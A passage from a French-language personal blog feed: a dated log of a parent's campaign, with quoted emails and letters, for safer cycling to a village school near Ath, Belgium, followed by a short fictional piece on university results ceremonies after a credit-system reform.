&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://unsplash.com/"&gt;unsplash&lt;/a&gt; par &lt;a href="https://unsplash.com/photos/TTxHc9Os9FA"&gt;Seth Doyle&lt;/a&gt;. Le vélo entre potes, c&amp;rsquo;est bien.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Sécuriser le chemin vers l'école en vélo</title><link href="http://blog.namok.be/2016-09-27-securiser-chemin-ecole-velo.html" rel="alternate"/><published>2016-09-27T00:00:00+02:00</published><updated>2016-09-27T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-09-27:/2016-09-27-securiser-chemin-ecole-velo.html</id><summary type="html">Sécuriser le chemin vers l'école en vélo</summary><content type="html">&lt;p&gt;&lt;img alt="unsplash-bicycle-cut-2000x.jpg" src="/images//unsplash-bicycle-cut-2000x.jpg" title="unsplash-bicycle-cut-2000x.jpg, sept. 2016"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Dernière édition le 10 mars 2019.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Le 7 décembre 2015, il y a presque un an maintenant, j&amp;rsquo;écrivais un mail à l&amp;rsquo;équipe mobilité de la ville d&amp;rsquo;Ath. Mes enfants aiment bien se rendre à l&amp;rsquo;école à vélo et nous trouvons important de prendre l&amp;rsquo;air, de se dépenser, d&amp;rsquo;utiliser moins la voiture…&lt;/p&gt;
&lt;p&gt;Comme nous habitons le long de la chaussée, une piste cyclable bien marquée n&amp;rsquo;est pas un luxe. Le marquage d&amp;rsquo;un passage pour vélo pour traverser en toute sécurité non plus. Et tant qu&amp;rsquo;à faire, l&amp;rsquo;adaptation des panneaux de signalisation complèterait convenablement le tout.&lt;/p&gt;
&lt;p&gt;Il y a beaucoup de voitures. Sans doute parce que des parents n&amp;rsquo;osent pas venir à vélo… car il y a beaucoup de voitures. &lt;a href="http://www.lalibre.be/debats/opinions/la-reponse-d-une-mere-irresponsable-a-velo-57d81b79357055f1ebe87621"&gt;Et on se mort la queue comme à Bruxelles&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Voici des extraits du mail:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Depuis quelques années maintenant, nous allons conduire les enfants à l&amp;rsquo;école en vélo dès que le temps le permet… et s&amp;rsquo;il fait gris ou froid aussi d&amp;rsquo;ailleurs. Nous habitons à Autreppe et les enfants sont à l&amp;rsquo;école d&amp;rsquo;Ormeignies.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est donc tout naturellement que nous empruntons un bout de la chaussée de Valenciennes et bifurquons ensuite à droite pour poursuivre la route par le chemin des serres. L&amp;rsquo;école se trouve au bout de la rue.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai quelques demandes à formuler pour que le trajet se passe en toute sécurité et en respectant le code de la route.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;S&amp;rsquo;en suivent quelques demandes un peu techniques spécifiant ce qui serait bien, accompagnées de liens explicatifs. Et une belle conclusion.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Comme il est difficile de faire ralentir les automobilistes sur cette partie de chaussée, je trouve qu&amp;rsquo;une piste cyclable &lt;em&gt;avec&lt;/em&gt; un marquage rouge (ou vert du moment qu&amp;rsquo;il est de couleur) ne serait pas du luxe.&lt;/p&gt;
&lt;p&gt;Merci de l&amp;rsquo;attention que vous porterez à ce mail. Ces quelques aménagements permettrait à l&amp;rsquo;une ou l&amp;rsquo;autre famille de se rendre en meilleure sécurité à l&amp;rsquo;école.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Le mail complet (&lt;em&gt;en cliquant dessus&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/mail-allerecolevelo.jpg" title="mail-allerecolevelo-cut.jpg"&gt;&lt;img alt="mail-allerecolevelo-cut.jpg" src="/images//mail-allerecolevelo-cut.jpg" title="mail-allerecolevelo-cut.jpg, sept. 2016"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Le 18 janvier 2016, je relance la commune pour obtenir une réponse. Le 19 janvier 2016, le service mobilité de la ville d&amp;rsquo;Ath laisse présager qu&amp;rsquo;une suite favorable sera donnée au dossier.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nous avons bien reçu votre email concernant la sécurisation du trajet vélo jusqu&amp;rsquo;à l&amp;rsquo;école.&lt;/p&gt;
&lt;p&gt;Nous allons étudier votre demande et introduire un dossier au collège communal dans les prochaines semaines. Concernant la pose de signalisation, ce dossier sera plus rapide mais concernant les marquages routiers nous serons non seulement tributaire de la météo et de la température mais surtout des autorisations de la Région (SPW) pour ce qui concerne la chaussée de Valencienne.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Depuis lors, je n&amp;rsquo;ai plus de nouvelles de la part du service mobilité de la ville d&amp;rsquo;Ath malgré mes relances en mars, avril et mai 2016. J&amp;rsquo;ai envoyé un dernier mail ce 19 septembre 2016 qui reste également sans réponse.&lt;/p&gt;
&lt;p&gt;Soit mon dossier est tombé du bureau sur lequel il était posé, soit il suit son cours. Dans tous les cas, je serais heureux d&amp;rsquo;avoir des nouvelles… avant que mes enfants n&amp;rsquo;aient fini leur scolarité à Ormeignies. Ce qui ne change rien grand chose puisque le chemin vers Ath à vélo passe aussi par Ormeignies et que — rassurez-moi — nous ne sommes pas les seuls fous qui utilisent un vélo.&lt;/p&gt;
&lt;p&gt;Si vous croisez le &lt;em&gt;maïeur&lt;/em&gt;, un politicien — mieux, un élu ! Mon Dieu — rappelez-moi à son souvenir. Je ne suis pas assez naïf pour y croire mais quand même suffisamment persévérant que pour continuer.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 28 septembre 2016&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je reçois aujourd&amp;rsquo;hui un courrier du maïeur m&amp;rsquo;informant que le service communication lui fait part ce jour du dossier. Il m&amp;rsquo;informe qu&amp;rsquo;il va examiner ma demande avec l&amp;rsquo;inspecteur principal et le responsable… du service mobilité.&lt;/p&gt;
&lt;p&gt;On peut donc en conclure que le service communication est plus prompt à réagir que le service mobilité. Pour le reste, attendons.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 6 novembre 2016&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avec 17 jours de retard puisque le &lt;em&gt;maïeur&lt;/em&gt; m&amp;rsquo;invitait à revenir vers lui à partir de 20 octobre, je le relance pour savoir ce qu&amp;rsquo;il en est. On lache rien !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 7 novembre 2016&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/images/panneau-c3.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Je reçois une réponse ce matin concernant l&amp;rsquo;ajout d&amp;rsquo;un panneau « Excepté vélo » (M1 ou M2) au panneau « Interdit à tout véhicule » (C3).&lt;/p&gt;
&lt;p&gt;&lt;img alt="" class="right" src="/images/image003.jpg" title="image003.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.code-de-la-route.be/textes-legaux/sections/ar/code-de-la-route/100-art2"&gt;Dans l&amp;rsquo;article 68 du code de la route&lt;/a&gt; (&lt;a href="http://www.code-de-la-route.be/download/R%C3%A8glement%20de%20la%20circulation.pdf"&gt;pdf&lt;/a&gt;), il est précisé que le panneau C3 est une interdiction pour tout conducteur. Y compris les cyclistes. Par contre — et je l&amp;rsquo;apprends aujourd&amp;rsquo;hui — si le panneau est affublé d&amp;rsquo;un « Circulation locale », cela signifie que les cyclistes — et d&amp;rsquo;autres — sont autorisés. &lt;a href="http://www.code-de-la-route.be/textes-legaux/sections/ar/code-de-la-route/248-art65#65.2"&gt;Il apparait que le panneau M1/2 ne s&amp;rsquo;ajoute qu&amp;rsquo;au panneau « Sens interdit » (C1) et (quasi) jamais au panneau C3&lt;/a&gt;. Il fallait le savoir.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2.47.&lt;/strong&gt; « Circulation locale » ou « desserte locale » : les véhicules des riverains et des personnes se rendant ou venant de chez l’un d’eux, y compris les véhicules de livraison, les véhicules des services réguliers de transport en commun, les véhicules des services d’entretien et de surveillance, lorsque la nature de leur mission le justifie, les véhicules prioritaires visés à l&amp;rsquo;article 37 et &lt;strong&gt;les cyclistes&lt;/strong&gt; et cavaliers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nous pouvons donc emprunter cette route sans avoir l&amp;rsquo;impression d&amp;rsquo;être en infraction… et ça, c&amp;rsquo;est déjà bien.&lt;/p&gt;
&lt;p&gt;Pour ce qui est du marquage au sol de la piste cyclable, ça suit son cours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 24 juin 2017&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;envoie un mail de rappel au service mobilité dont voici le contenu:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;bonjour (…)&lt;/p&gt;
&lt;p&gt;le 7 décembre 2015, je vous envoyais un mail vous demandant d&amp;rsquo;étudier la possibilité de sécuriser le chemin qu&amp;rsquo;empruntent mes enfants pour se rendre à l&amp;rsquo;école en vélo de Autreppe jusque Ormeignies.&lt;/p&gt;
&lt;p&gt;j&amp;rsquo;avais reçu une belle lettre de la part de Monsieur le bourgmestre vers septembre 2016 me disant que ma demande allait être examinée… et en novembre 2016, vous me rassuriez sur le fait que nous pouvions emprunter le chemin des serres à vélo puisque le panneau C3 affublé d&amp;rsquo;une « Excepté circulation locale » nous y autorise.&lt;/p&gt;
&lt;p&gt;je voudrais cependant que vous étudiez sérieusement la possibilité qu&amp;rsquo;ils puissent traverser et emprunter la chaussée de manière plus sécurisée en réfléchissant au marquage de la piste cyclable et à l&amp;rsquo;ajout d&amp;rsquo;un passage pour cyclistes.&lt;/p&gt;
&lt;p&gt;j&amp;rsquo;essaie de tenir un petit historique de ma demande a cette adresse: http://namok.be/blog/?post/2016/09/27/securiser-chemin-ecole-velo&lt;/p&gt;
&lt;p&gt;recevez Monsieur, mes patientes salutations&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je vais comme d&amp;rsquo;habitude relayer cette demande sur Facebook et cette fois directement interpeller quelques élus.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 13 septembre 2017&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai trainé un peu à vous donner les dernières nouvelles.&lt;/p&gt;
&lt;p&gt;Suite à mon mail du 4 juillet 2017, j&amp;rsquo;ai reçu une réponse par mail du maïeur le 5 juillet à 18h33 disant en substance qu&amp;rsquo;ils n&amp;rsquo;avaient pas fait grand chose jusqu&amp;rsquo;à présent (c&amp;rsquo;est du moins comme ça que j&amp;rsquo;interprète le « le dossier n&amp;rsquo;a pas été élaboré »).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Monsieur le Directeur,&lt;br&gt;
Cher D…,&lt;/p&gt;
&lt;p&gt;Voici quelques mois déjà, j’avais demandé que l’on examine la requête de M. B… (&lt;em&gt;note de moi: je floute les noms, ça fait « polar »&lt;/em&gt;) portant sur la sécurisation du parcours entre Autreppe et Ormeignies, le long du chemin des Serres et en traversant la chaussée de Valenciennes.&lt;/p&gt;
&lt;p&gt;Vous avez rassuré M. B… quant à l’usage par les cyclistes et piétons du chemin des Serres, le panneau C3 affublé (…) mais je n’ai toujours pas reçu le dossier concernant la requête adressée à la Cellule Provinciale de Sécurité relative à la traversée de la chaussée de Valenciennes, tracé protégé pour piétons.&lt;/p&gt;
&lt;p&gt;M. B… rappelle sa légitime requête et &lt;strong&gt;je dois bien dire que le dossier n’a pas été élaboré&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Dès votre retour de vacances, je vous charge d’étudier ce dossier, de formuler la requête et ce, en collaboration avec l’Inspecteur principal, M. D…, chargé de l’étude des problèmes de circulation routière. Personnellement, j’estime que la requête de l’intéressé devrait être acceptée. Même si la vitesse est limitée dans la traversée d’Autreppe, nous savons que les automobilistes et camionneurs font parfois fi de ces limitations. Enfin, c’est un carrefour dangereux, surtout pour ceux qui reviennent du centre d’Ormeignies.&lt;/p&gt;
&lt;p&gt;Je vous remercie (…)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cette note aurait été dictée le 30 juin comme indiqué en fin de missive. Je la reçois par mail le 5 juillet 2017 à 18h33.&lt;/p&gt;
&lt;p&gt;Pour que l&amp;rsquo;histoire soit complète, il faut que je vous dise que j&amp;rsquo;ai demandé sur &lt;a href="https://www.facebook.com/Pinkilla/posts/10213283600385949?pnref=story"&gt;Facebook (&lt;em&gt;aaargh&lt;/em&gt;)&lt;/a&gt; un petit coup de main à mes &lt;em&gt;connaissances qui font de la politique&lt;/em&gt;. &lt;a href="http://jessicawillocq.blogspot.be/"&gt;Jessica Willocq&lt;/a&gt;, conseillère communale, a rédigé une question écrite pour le &lt;a href="http://www.ath.be/ma-commune/vie-politique/conseil-communal"&gt;conseil communal&lt;/a&gt; du 5 juillet à 18h30. Qu&amp;rsquo;elle en soit remerciée ici bien que je n&amp;rsquo;en voie aucune trace dans le compte rendu public &lt;a href="http://www.ath.be/ma-commune/vie-politique/conseil-communal/resumes-du-conseil-communal/Conseil-communal-du-5-juillet-2017/view"&gt;[pdf]&lt;/a&gt; publié sur le site de la ville.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 10 novembre 2017&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour commencer cette nouvelle édition de la saga « sécuriser le chemin vers l&amp;rsquo;école en vélo » je reviens sur les courriers envoyés par le  maïeur début des vacances scolaires dernières pour en citer quelques passages particulièrement bien rédigés.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fort justement, un Athois habitant Autreppe, dont les enfants se rendent à l’école au village d’Ormeignies, plaide pour que nous sollicitions la Cellule Provinciale de Sécurité, afin qu’elle examine notre requête visant à créer un passage protégé pour piétons entre le chemin des Serres et la route qui mène au cœur du hameau d’Autreppe.&lt;/p&gt;
&lt;p&gt;Extrait du courrier envoyé aux services de police&lt;/p&gt;
&lt;p&gt;Personnellement, j’estime que la requête de l’intéressé devrait être acceptée. Même si la vitesse est limitée dans la traversée d’Autreppe, nous savons que les automobilistes et camionneurs font parfois fi de ces limitations. Enfin, c’est un carrefour dangereux, surtout pour ceux qui reviennent du centre d’Ormeignies.&lt;/p&gt;
&lt;p&gt;Extrait du courrier envoyé au service travaux de la ville&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;La &lt;a href="http://www.lavenir.net/cnt/dmf20171107_01081702/ath-les-poids-lourds-bannis-de-la-n527-vers-quevaucamps"&gt;presse a relayé ce mardi 7 novembre 2017 une info signalant que les poids lourds seraient bannis de la chaussée de valenciennes (aka N527)&lt;/a&gt; prochainement. Nous avons dans la foulée reçu un courrier « toutes boites » de la part du  maïeur nous informant que, je cite&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;En fin de réunion, il a été convenu, à la demande des Bourgmestres, que la circulation de long de la route Ath-Quevaucamps-Belœil soit réservée aux transports qui ne dépassent point 15T et qui desservent localement les populations des zones contigües à l&amp;rsquo;axe routier.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="securiservelo-courrier-6nov2017.jpg" src="/images/securiservelo-courrier-6nov2017.jpg" title="securiservelo-courrier-6nov2017.jpg, nov. 2017"&gt;&lt;/p&gt;
&lt;p&gt;Courrier &amp;ldquo;toutes boites&amp;rdquo; reçu le 6 novembre 2017 dans la boite aux lettres&lt;/p&gt;
&lt;p&gt;Le courrier précisait également que le dossier était en attente de la signature du Ministre compétant. Ce n&amp;rsquo;est donc pas immédiat.&lt;/p&gt;
&lt;p&gt;En fin de courrier le  maïeur parle de nous, « Certes, il y a encore à faire pour notamment organiser l&amp;rsquo;un ou l&amp;rsquo;autre passage protégé pour les habitants d&amp;rsquo;Autreppe qui veulent se diriger vers Ormeignies et vice versa. Je m&amp;rsquo;emploie (…) à obtenir une amélioration de la situation dénoncée par l&amp;rsquo;un ou l&amp;rsquo;autre d&amp;rsquo;entre vous.»&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est donc la bonne occasion pour relancer et j&amp;rsquo;envoie ce mail ce matin (damned ! il est déjà midi):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;bonjour Monsieur le Bourgmestre, Madame R. et le service mobilité,&lt;/p&gt;
&lt;p&gt;ce mardi 7 novembre 2017, je recevais votre courrier « toutes boites » adressé aux habitants de la chaussée de Valenciennes concernant le passage des poids lourds dans la rue.&lt;/p&gt;
&lt;p&gt;je ne peux que me réjouir des initiatives qui sont prises pour limiter les nuisances provoquées par le passage des poids lourds et des véhicules passant à vitesse excessive.&lt;/p&gt;
&lt;p&gt;j&amp;rsquo;ai pris bonne note — et je vous en remercie — de la fin du courrier précisant que vous vous employiez à améliorer la situation dénoncée par certain·es concernant l&amp;rsquo;un ou l&amp;rsquo;autre passage protégé pour traverser la chaussée.&lt;/p&gt;
&lt;p&gt;dans votre étude de la situation, je me permets de vous rappeler l&amp;rsquo;importance d&amp;rsquo;ajouter aux passages protégés un marquage &lt;strong&gt;visible&lt;/strong&gt; de la piste cyclable dans la portion de la chaussée traversant Autreppe. en effet un marquage au sol de couleur rouge par exemple donne une impression de rétrécissement de la chaussée. cette impression aide — ou du moins ont peut l&amp;rsquo;espérer — les automobilistes à ralentir. cela peut aussi limiter les dépassements.&lt;/p&gt;
&lt;p&gt;pour votre bonne information sachez également que d&amp;rsquo;autres habitants d&amp;rsquo;Autreppe nous ont rapportés ne pas autoriser leurs enfants à se rendre à l&amp;rsquo;école à vélo à cause du danger… c&amp;rsquo;est dommage car ça augmente alors le nombre de voitures.&lt;/p&gt;
&lt;p&gt;la mobilité douce est un défi pour l&amp;rsquo;avenir. ces types d&amp;rsquo;aménagements amènent les usagers dans un cercle vertueux plutôt qu&amp;rsquo;un cercle vicieux. recevez Mesdames Messieurs, mes meilleures salutations&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Édité le 16 novembre 2017&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce mercredi — hier donc — j&amp;rsquo;ai reçu un courrier du  maïeur accusant bonne réception de mon mail et me précisant qu&amp;rsquo;une demande avait été faites au service public… bla bla… je pense qu&amp;rsquo;il s&amp;rsquo;agit du MET.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;J’ai demandé à M. F, Ingénieur-Directeur du Service Public de Wallonie pour la Province de Hainaut, de prendre en compte vos sollicitations concernant le marquage au sol et la réalisation d’un éventuel passage « protégé » reliant le centre d’Autreppe au centre d’Ormeignies en utilisant notamment le chemin de remembrement, qui dessert le Centre horticole et les écoles locales.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Notons qu&amp;rsquo;il ne parle pas de la piste cyclable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 23 avril 2018&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avec le soleil, c&amp;rsquo;est l&amp;rsquo;occasion de relancer le bourgmestre. Après mon dernier mail, j&amp;rsquo;avais reçu un coup de fil de Monsieur le Bourgmestre en personne me demandant un peu de patience. C&amp;rsquo;était il y a quelques mois maintenant. Je viens de lui envoyer ce mail…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Je me rappelle votre appel téléphonique il y a quelques mois maintenant me demandant d&amp;rsquo;être patient parce que les contacts avec le Service Public de Wallonie pour la Province de Hainaut prennent du temps.&lt;/p&gt;
&lt;p&gt;Mon premier mail demandant d&amp;rsquo;ajouter un passage piétons/vélos sur la chaussée de Valenciennes et un marquage de la piste cyclable afin de sécuriser le trajet à vélo d&amp;rsquo;Autreppe vers Ormeignies datant du 7 décembre 2015, je pense que l&amp;rsquo;on peut sans problème parler de patience. Vous me disiez dans votre courrier (ref MD/BB/cr/17-539) du 5 juillet 2017 — il y a presque un an maintenant — que vous aviez demandé à Monsieur le Commissaire de Police ainsi qu&amp;rsquo;à Monsieur le Directeur du Service Mobilité de vous remettre un dossier.&lt;/p&gt;
&lt;p&gt;Pouvez-vous me dire ce qu&amp;rsquo;il en est ?&lt;/p&gt;
&lt;p&gt;De manière plus large que la chaussée de Valenciennes, je persiste à croire que favoriser le vélo par rapport à la voiture relève d&amp;rsquo;une volonté politique. Il est nécessaire de désengorger les routes — regardez la chaussée de Mons par exemple — et, pour ce faire, il faut donner l&amp;rsquo;envie au gens d&amp;rsquo;aller à vélo. Des pistes cyclables bien marquées et des passages piétons/vélos participent à donner cette envie.&lt;/p&gt;
&lt;p&gt;Recevez Mesdames Messieurs, mes patientes salutations.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Édité le 20 octobre 2018&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je suis allé rencontrer Monsieur le Bourgmestre. Nous avons eu une bonne discussion et il m&amp;rsquo;a promis d&amp;rsquo;essayer de faire avancer les choses tout en précisant que ça dépendait surtout du ministre Carlo Di Antonio puisque la route est provinciale. Tout ça ne permet pas d&amp;rsquo;avancer rapidement. Je suis rassuré, &lt;a href="http://diantonio.wallonie.be/home/competences/mobilite-et-transport.html"&gt;je vois que le ministre est sensible à la mobilité douce&lt;/a&gt; &lt;em&gt;#sarcasm&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="siteweb-diantonio.jpg" src="/images/siteweb-diantonio.jpg" title="siteweb-diantonio.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Par la suite, le 9 juillet 2018, toute la rue a reçu un courrier précisant que des actions allaient être entreprises. Entre autre:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la pose de panneaux « smileys » en amont et en aval du hameau;&lt;/li&gt;
&lt;li&gt;la commande de panneau et un arrêté interdisant le passage des poids lourds de &amp;gt; 15T;&lt;/li&gt;
&lt;li&gt;une demande au SPW d&amp;rsquo;un renforcement du marquage au sol délimitant les pistes cyclables et le marquage de deux passages protégés pour piétons dans la traversée d&amp;rsquo;Autreppe.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les panneaux « smiley » sont posés.&lt;/p&gt;
&lt;p&gt;Un jour, pendant l&amp;rsquo;été, j&amp;rsquo;ai vu une camionnette du SPW en train de faire &lt;strong&gt;un&lt;/strong&gt; marquage de passage pour piétons. À ma demande d&amp;rsquo;un renforcement du marquage de la piste cyclable et de deux passages pour piétons, le SPW a marqué un passage pour pétons tout simple. Pas de couleur rouge, pas d&amp;rsquo;éclairage. J&amp;rsquo;imagine que pour le SPW, c&amp;rsquo;est fait… pour moi, &lt;a href="2014-01-20-abcdef.html"&gt;les résultats ne satisfont pas aux critères minimaux&lt;/a&gt;: 8/20.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 10 mars 2019&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="20190310_114824.jpg" src="/images/20190310_114824.jpg" title="20190310_114824.jpg, mar. 2019"&gt;&lt;/p&gt;
&lt;p&gt;Le 21 novembre 2018, nous recevions un courrier du bourgmestre signalant que le ministre Di Antonio ayant décidé d&amp;rsquo;investir davantage dans la traversée de Quevaucamps, le bourgmestre demandait d&amp;rsquo;inclure la traversée d&amp;rsquo;Autreppe dans son plan d&amp;rsquo;investissement infrastructures 2019-2024.&lt;/p&gt;
&lt;p&gt;Le ministre Di Antonio nous informe que la &lt;strong&gt;sécurisation de la traversée d&amp;rsquo;Autreppe sera inscrite au Plan Infrastructures 2019-2024, en incluant la réalisation de trottoirs et d&amp;rsquo;une piste cyclable. Une programmation en 2020 est envisageable&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://unsplash.com/"&gt;unsplash&lt;/a&gt; par &lt;a href="https://unsplash.com/search/bicycle?photo=51a-o3mNJ14"&gt;Steinar&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>La mort des proclamations</title><link href="http://blog.namok.be/2016-09-19-la-mort-des-proclamations.html" rel="alternate"/><published>2016-09-19T00:00:00+02:00</published><updated>2016-09-19T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-09-19:/2016-09-19-la-mort-des-proclamations.html</id><summary type="html">La mort des proclamations</summary><content type="html">&lt;p&gt;&lt;img alt="red-sit-1400x.jpg" src="/images/red-sit-1400x.jpg" title="red-sit-1400x.jpg, sept. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Un dernier bisou sur le pas de la porte et je m&amp;rsquo;en vais. Maman m&amp;rsquo;a bien expliqué comment ça allait se passer. C&amp;rsquo;était il y a quinze ans maintenant et j&amp;rsquo;entame cette année quasi les mêmes études qu&amp;rsquo;elle jadis. Elle a fait une &lt;em&gt;licence en math option algorithmique et programmation&lt;/em&gt; tandis que je fais un &lt;em&gt;master en informatique&lt;/em&gt;. C&amp;rsquo;est kif kif. Mon grand-père aurait quant-à lui parlé d&amp;rsquo;&lt;em&gt;A1&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;— Ils vont d&amp;rsquo;abord proclamer les étudiants de première année avant ceux de deuxième et ainsi de suite, me dit elle. Ceux qui ne sont pas cités sont ceux qui ont raté leur année et qui doivent la recommencer.&lt;br&gt;
— Et si j&amp;rsquo;ai presque réussi ? Je ne suis pas sûr pour l&amp;rsquo;examen de Système.&lt;br&gt;
— Ne t&amp;rsquo;inquiète pas. Si tu as un neuf ou un huit, tu passeras en délibé !&lt;/p&gt;
&lt;p&gt;Je croise les doigts et ma mère aussi. Il faut que je passe en deuxième. Maman a réussi sa première année en première session et j&amp;rsquo;espère faire aussi bien.&lt;/p&gt;
&lt;p&gt;Les portes de l&amp;rsquo;auditoire s&amp;rsquo;ouvrent. Les copains sont là. J&amp;rsquo;entre. On hésite à aller boire un pot et regarder les résultats affichés mais on se reprend et on reste. Le directeur va annoncer&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Proclamation de la première année en &lt;em&gt;master&lt;/em&gt; informatique. Ont réussi avec distinction et sont acceptés en deuxième année les étudiants suivants… »&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— Proclamation du premier bloc des étudiants en informatique. Ont réussi un minimum de 45 crédits sur les 60 et sont autorisés à poursuivre leur cursus les étudiants suivants…&lt;br&gt;
— Ah, il suffit de réussir 45 crédits pour &lt;em&gt;passer&lt;/em&gt;, dis-je à mon voisin.&lt;br&gt;
— Chut ! répond-il. Il faut 45 crédits pour ne plus être en première après il n&amp;rsquo;y a plus vraiment d&amp;rsquo;année.&lt;br&gt;
— … Proclamation des autres blocs non diplômants des étudiants en informatique. Ont réussi un minimum de 75% des crédits de leur programme personnalisé les étudiants suivants…&lt;br&gt;
— Il n&amp;rsquo;a pas dit si c&amp;rsquo;était une &lt;em&gt;satis&lt;/em&gt; ou une &lt;em&gt;dis&lt;/em&gt; ?&lt;br&gt;
— Non, ils disent simplement si tu as réussi tes crédits.&lt;/p&gt;
&lt;p&gt;Je lui demande si ce sont des étudiants de deuxième ou troisième mais il n&amp;rsquo;en sait rien. Il me dit que l&amp;rsquo;on ne sait pas non plus si certains n&amp;rsquo;ont pas exactement le même &lt;em&gt;panier&lt;/em&gt; que l&amp;rsquo;année d&amp;rsquo;avant. Personne ne sait plus comment ça se passe pour les &lt;em&gt;points de balance&lt;/em&gt; non plus d&amp;rsquo;ailleurs. Il a l&amp;rsquo;air de dire que ça dépend des profs qui donnent cours dans l&amp;rsquo;unité d&amp;rsquo;enseignement. Par contre, si le jury décide de laisser passer… heu de valider le programme annuel de l&amp;rsquo;étudiant en accordant à l&amp;rsquo;étudiant un crédit pour lequel il n&amp;rsquo;avait pas obtenu 10, il doit modifier la cote et mettre 10. Sans aller voir sa copie, l&amp;rsquo;étudiant ne sait donc pas s&amp;rsquo;il a eu 10 ou si c&amp;rsquo;est un cadeau. Son futur employeur non plus ceci dit. Ma mère n&amp;rsquo;a jamais été handicapée par son 8/20 en physique de la terre et de l&amp;rsquo;espace obtenu en deuxième candi. C&amp;rsquo;est ridicule de le cacher en modifiant la cote.&lt;/p&gt;
&lt;p&gt;Bref, on a cité mon nom et je ne sais pas si je devrais représenter &lt;em&gt;Système&lt;/em&gt; sans aller voir mes cotes. Je me demande un peu ce que je fais là. Finalement.&lt;/p&gt;
&lt;p&gt;— Proclamation de la dernière année en &lt;em&gt;master&lt;/em&gt; informatique. Ont réussi avec grande distinction les étudiants suivants…&lt;/p&gt;
&lt;p&gt;Mouais, seule la liste de ceux qui terminent est intéressante. Pour les autres, il suffit d&amp;rsquo;afficher les points. Venir applaudir les étudiants qui ont réussi une partie de ce qu&amp;rsquo;ils devaient présenter alors que l&amp;rsquo;on ne sait même pas ce qu&amp;rsquo;il avait dans leur programme spécifique n&amp;rsquo;a que peu d&amp;rsquo;intérêt. Pas d&amp;rsquo;intérêt du tout en fait.&lt;/p&gt;
&lt;p&gt;Hormis pour ceux qui termine, le paysage, c&amp;rsquo;est un peu la mort des proclamations.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
